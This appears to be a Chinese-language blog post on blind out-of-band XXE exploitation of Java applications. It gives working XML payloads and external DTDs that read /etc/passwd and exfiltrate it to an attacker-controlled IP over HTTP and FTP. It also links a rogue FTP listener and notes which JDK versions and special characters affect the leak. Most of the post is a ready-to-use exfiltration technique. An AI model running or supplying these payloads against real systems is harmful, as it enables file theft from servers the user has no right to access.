java的xxe无回显的带外传输

xxe无回显的情况下,正常的读取无特殊符号文件的时候可以只用常规的file协议来进行读取

参考文章:https://www.leadroyal.cn/?p=914
参考文章:https://www.t00ls.net/viewthread.php?tid=55662

比如payload:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY % xd SYSTEM "http://120.79.66.58/xxe/evil.dtd">
    %xd;
]>
<root>&bbbb;</root>

引入的外部dtd内容为如下:

<!ENTITY % aaaa SYSTEM "file:///etc/passwd">
<!ENTITY % demo "<!ENTITY bbbb SYSTEM 'http://120.79.66.58/xxe/1.php?file=%aaaa;'>">
%demo;

返回的内容:如果正常的内容是可以的,如果带有特殊符号的话 可以用http和ftp的带外传输方法

比如ftp的带外传输

payload:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY % xd SYSTEM "http://120.79.66.58/xxe/evil.dtd">
    %xd;
]>
<root>&bbbb;</root>

外部引入的dtd内容为如下:

<!ENTITY % aaaa SYSTEM "file:///home/etc/passwd">
<!ENTITY % demo "<!ENTITY bbbb SYSTEM 'ftp://120.79.66.58:2121/%aaaa;'>">
%demo;

在读取的时候还需要架设一个本地的FTP服务器

https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb

没有深入的学习过java,这里只说自己遇到xxe无回显环境的坑

在使用ftp 进行 oob 时,对版本有限制, jdk版本 小于 7u141 和 小于 8u162 才可以读取整个文件

当FTP 遇到斜杠符号表示cd到子目录,什么意思呢?

'/' 当遇到该符号的时候,FTP读取返回的数据就会表示成 'CWD'

总结:

1、所有的【\r】 都会被替换为【\n】
2、如果不包含特殊字符,低版本 ftp 可以读多行文件,高版本 ftp 只可以读单行文件,全版本 http 都只可以读单行文件,所以这里通用的方法就是FTP来进行读取
3、版本限制是 <7u141 和 <8u162 才可以读取整个文件
4、如果含有特殊字符 【%】 【&】 会完全出错
5、如果含有特殊字符 【’】 【”】 可以稍微绕过
6、如果含有特殊字符 【?】,对 http 无影响,对 ftp 会造成截断
7、如果含有特殊字符【/】, 对 http 无影响,对 ftp 需要额外增加解析的 case
8、如果含有特殊字符【#】,会造成截断

posted @ 2020-05-16 16:03  zpchcbd  阅读(3342)  评论(0编辑  收藏  举报